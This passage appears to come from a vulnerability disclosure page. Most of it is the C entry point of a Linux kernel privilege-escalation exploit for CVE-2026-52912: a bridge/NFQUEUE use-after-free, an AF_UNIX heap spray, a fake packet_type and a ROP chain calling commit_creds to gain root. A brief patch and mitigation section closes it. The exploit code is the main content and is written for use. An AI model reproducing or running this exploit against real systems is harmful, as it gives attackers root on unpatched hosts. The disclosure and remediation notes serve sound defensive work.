* process (and therefore the queue) alive after printing the flag so its
* teardown path cannot revisit the stale bridge pointer. */
for (;;)
pause();
}
static void prepare_user_return(void)
{
user_stack = mmap(NULL, 0x40000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_stack == MAP_FAILED)
die("mmap(user return stack)");
memset(user_stack, 0, 0x40000);
user_rsp = (uint64_t)(uintptr_t)user_stack + 0x3f008;
asm volatile("mov %%cs, %0\n\t"
"mov %%ss, %1\n\t"
"pushfq\n\t"
"pop %2"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
: : "memory");
}
static void put64(unsigned char *page, size_t offset, uint64_t value)
{
if (offset + sizeof(value) > KNOWN_PAGE_BYTES) {
errno = EOVERFLOW;
die("known-page qword");
}
memcpy(page + offset, &value, sizeof(value));
}
static void build_known_page(unsigned char *page, uint64_t page_address,
void *argument)
{
uint64_t slide = *(uint64_t *)argument;
uint64_t node1 = page_address + FAKE_PTYPE1;
uint64_t node2 = page_address + FAKE_PTYPE2;
uint64_t *chain = (uint64_t *)(page + ANCHOR_ROP);
memset(page, 0, KNOWN_PAGE_BYTES);
/* deliver_skb() calls packet_type.func with the packet_type in RDX.
* The first pivot moves RDX to RSP. packet_type.dev then supplies a
* second, known stack pointer so the function field at +0x10 does not
* collide with the actual ROP chain. */
put64(page, FAKE_PTYPE1, KERNEL_BASE + slide + OFF_POP_RSP);
put64(page, FAKE_PTYPE1 + 0x8, page_address + ANCHOR_ROP);
put64(page, FAKE_PTYPE1 + PACKET_TYPE_FUNC,
KERNEL_BASE + slide + OFF_RDX_STACK_PIVOT);
put64(page, FAKE_PTYPE1 + PACKET_TYPE_LIST,
node2 + PACKET_TYPE_LIST);
put64(page, FAKE_PTYPE2 + PACKET_TYPE_LIST,
node2 + PACKET_TYPE_LIST);
chain[0] = KERNEL_BASE + slide + OFF_POP_RDI;
chain[1] = KERNEL_BASE + slide + OFF_INIT_CRED;
chain[2] = KERNEL_BASE + slide + OFF_COMMIT_CREDS;
chain[3] = KERNEL_BASE + slide + OFF_RCU_READ_UNLOCK;
chain[4] = KERNEL_BASE + slide + OFF_RCU_READ_UNLOCK;
chain[5] = KERNEL_BASE + slide + OFF_LOCAL_BH_ENABLE;
chain[6] = KERNEL_BASE + slide + OFF_KPTI_RETURN;
chain[23] = (uint64_t)(uintptr_t)post_root;
chain[24] = user_cs;
chain[25] = user_rflags;
chain[26] = user_rsp;
chain[27] = user_ss;
printf("[+] built packet_type at %#llx and ROP at %#llx\n",
(unsigned long long)node1,
(unsigned long long)(page_address + ANCHOR_ROP));
}
static void build_fake_netdev(unsigned char *payload)
{
uint64_t init_net = KERNEL_BASE + kernel_slide + OFF_INIT_NET;
uint64_t packet_list = known_page + FAKE_PTYPE1 + PACKET_TYPE_LIST;
memset(payload, 0, UNIX_SPRAY_LEN);
/* net_device.nd_net makes the first ptype_all walk valid. The second
* walk follows our known packet_type list and calls its func pointer. */
memcpy(payload + 0x108, &init_net, sizeof(init_net));
memcpy(payload + 0x198, &packet_list, sizeof(packet_list));
}
static void spray_unix_skb_heads(void)
{
unsigned char *payload = malloc(UNIX_SPRAY_LEN);
int sndbuf = 1 << 20;
if (!payload)
die("malloc(AF_UNIX spray)");
build_fake_netdev(payload);
for (int i = 0; i < UNIX_SPRAY_PAIRS; i++) {
if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0,
spray_fds[i]) < 0)
die("socketpair(AF_UNIX spray)");
(void)setsockopt(spray_fds[i][0], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
(void)setsockopt(spray_fds[i][1], SOL_SOCKET, SO_RCVBUF,
&sndbuf, sizeof(sndbuf));
for (int j = 0; j < UNIX_SPRAY_PER_PAIR; j++) {
ssize_t sent = send(spray_fds[i][0], payload,
UNIX_SPRAY_LEN, MSG_DONTWAIT);
if (sent != UNIX_SPRAY_LEN)
die("send(AF_UNIX spray)");
}
}
free(payload);
printf("[+] sprayed %d fully controlled kmalloc-cg-8k skb heads\n",
UNIX_SPRAY_PAIRS * UNIX_SPRAY_PER_PAIR);
}
static int worker_main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
drop_to_nobody_if_root();
pin_cpu(0);
resolve_kernel_addresses();
prepare_user_return();
known_page = known_page_anchor(build_known_page, &kernel_slide);
enter_unprivileged_user_net_mount_namespaces();
int rtnlfd = open_netlink_route();
int delete_status = 0;
uint32_t packet_id;
pid_t delete_pid;
/* Guard allocations reduce cross-page noise around the vulnerable
* bridge object; only br0 is ever queued and freed. */
rtnl_new_bridge(rtnlfd, "_nebu0");
rtnl_new_bridge(rtnlfd, "_n0");
rtnl_new_bridge(rtnlfd, "_nebu2");
rtnl_new_bridge(rtnlfd, "_nebu3");
install_br_netfilter_autoload_rule_raw();
rtnl_set_bridge_nf_call_iptables(rtnlfd, "_n0");
rtnl_new_veth(rtnlfd, "_0", "_1");
rtnl_set_master(rtnlfd, "_0", "_n0");
rtnl_set_up(rtnlfd, "_n0");
rtnl_set_up(rtnlfd, "_0");
rtnl_set_up(rtnlfd, "_1");
close(rtnlfd);
int nfqfd = open_and_bind_nfqueue();
install_bridge_queue_rule_raw();
print_relevant_modules();
usleep(200000);
send_ipv4_frame();
packet_id = recv_packet_id(nfqfd);
delete_pid = start_bridge_delete();
if (!wait_delete_bounded(delete_pid, &delete_status)) {
fprintf(stderr, "bridge deletion blocked before reclaim\n");
return EXIT_FAILURE;
}
if (!WIFEXITED(delete_status) || WEXITSTATUS(delete_status)) {
fprintf(stderr, "bridge deletion failed\n");
return EXIT_FAILURE;
}
puts("[+] bridge master freed while local-in packet remains queued");
spray_unix_skb_heads();
puts("[+] accepting queued packet into stale skb->dev");
send_verdict_accept(nfqfd, packet_id);
/* Successful exploitation irets directly to post_root(). */
sleep(1);
return EXIT_FAILURE;
}
int main(int argc, char **argv)
{
if (argc == 2 && !strcmp(argv[1], "--worker"))
return worker_main();
setvbuf(stdout, NULL, _IONBF, 0);
drop_to_nobody_if_root();
for (int attempt = 1; attempt <= 3; attempt++) {
pid_t child = fork();
int status;
if (child < 0)
die("fork(worker)");
if (!child) {
execl("/proc/self/exe", "exploit", "--worker", NULL);
_exit(127);
}
while (waitpid(child, &status, 0) < 0) {
if (errno != EINTR)
die("waitpid(worker)");
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
return 0;
fprintf(stderr, "[-] worker attempt %d failed, retrying\n",
attempt);
}
return EXIT_FAILURE;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in May 2026. The fixed path preserves the device lifetime for queued packets. Distribution kernel updates are the primary remedy; where an update is delayed, avoiding bridge NFQUEUE rules in attacker-controlled namespaces removes the demonstrated path.
The safest check is the distribution’s own kernel changelog for CVE-2026-52912;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
